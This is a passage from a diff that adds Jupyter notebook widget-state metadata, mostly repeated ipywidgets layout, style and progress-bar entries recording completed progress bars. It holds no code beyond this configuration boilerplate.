+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "dd94c326988a41cd8b57f4dd9a26f499": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "ddebad755dce4da8887eb7f3d4dd49ba": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "dfcd450b24d244ab86ccfc1b602a1d7e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "dfe593ba3bb440e0a29864c62f7b049e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "dffb565d8879412ba6c9989b02cbe661": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "dffbab23b4c34df9b6f9e8ff6c1a1912": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "e0424e3a00f24718ab911e6162ce8d2c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "e0448b4988f643dd9f12e4fca280dbee": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_75327980774b4419a9ec50f97a0c1d75",
+            "placeholder": "​",
+            "style": "IPY_MODEL_7adf45fac6804cbcbbe5d7c6cbdfd878",
+            "value": " 50/50 [00:13&lt;00:00,  3.69it/s]"
+          }
+        },
+        "e11583de8d894d3da80ef3bb1fe52e08": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "e221a677aab740ea888cb7faf343dfbb": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "e23ebecc8f5f4598a991da021d78ddd2": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "e25496021c9f4046bb83f585601baaf4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_48b23ac8e7ce46239504712135b41444",
+            "max": 30,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_6f520ae078104d70945b5d42ded1a75a",
+            "value": 30
+          }
+        },
+        "e25cb8e08bae4c56a84874cf31cd84c4": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "e416557198234698affa1b9410fa0967": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_cc1d355b4f6440fab9de50ccc5a268b8",
+              "IPY_MODEL_9dec2df865ed4e8399c511f504e460f7",
+              "IPY_MODEL_0439a988a2834c379b037e5faba17290"
+            ],
+            "layout": "IPY_MODEL_c0bb5873a4ca4462a28773a269a6c551"
+          }
+        },
+        "e535c42b82cb4e1fa4fbf492768e5762": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "e67431e7efe24016bcf04dfbcffc776e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "e82bcca350364e229895710e7d145fbf": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "e92d28da4f314f73b4c4cccde114f1f4": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "eb2855fb57d64857ab32fafd3a77b457": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "eb33b9af3ec14698bec89ff8b66bae06": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_b00687d7649d45af882cdd6d0f97591d",
+              "IPY_MODEL_62905ea2ea4045aeb5ec9a8426247100",
+              "IPY_MODEL_9eb63a9230ba472d87cf106e8abb5dff"
+            ],
+            "layout": "IPY_MODEL_fcc8de512f89491ab8b7a50cc37f83f5"
+          }
+        },
+        "ebfab18cc7484b71bb252d4e242e3b40": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "ec3c6adaf7ed44469ac0a58490dd5159": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "ec6d2dd0f61e42478903c839bc3395ec": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_96127d57c04f45fd91dab7aa30607e63",
+              "IPY_MODEL_a109094931b742ee9f4376e54d62660c",
+              "IPY_MODEL_851980277e5e486a9962a2e7607be100"
+            ],
+            "layout": "IPY_MODEL_3d4c455dc8344c7b8b42a609322713e8"
+          }
+        },
+        "ecc2c348430c471791a449784f5df44c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ed4320b4d8284ead91830c0b11b9bc56": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_f25cbe3e352d44c9849191bbb8e9d4d9",
+            "placeholder": "​",
+            "style": "IPY_MODEL_3bffddd95fdf4e3c896e1554a239273a",
+            "value": "100%"
+          }
+        },
+        "ee190ee62fb24dacb96d9b57e562c3b9": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "ee194df227d447d9a5a36d4ec08d3a47": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ee1a66e0f3ab4c67beef305317124a0f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ee87d3500d5a483b8a03b0c499392928": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ee9c24e8b40948d398b026d30cc5cee7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "eed1d1e67a1d4a20ba49586148ca5a2a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ef3472cacb4d426cbacec25777507432": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_50569e1467f7411e862553111c97afb3",
+            "max": 10,
+            "min": 0,
+            "orientation": "horizontal",
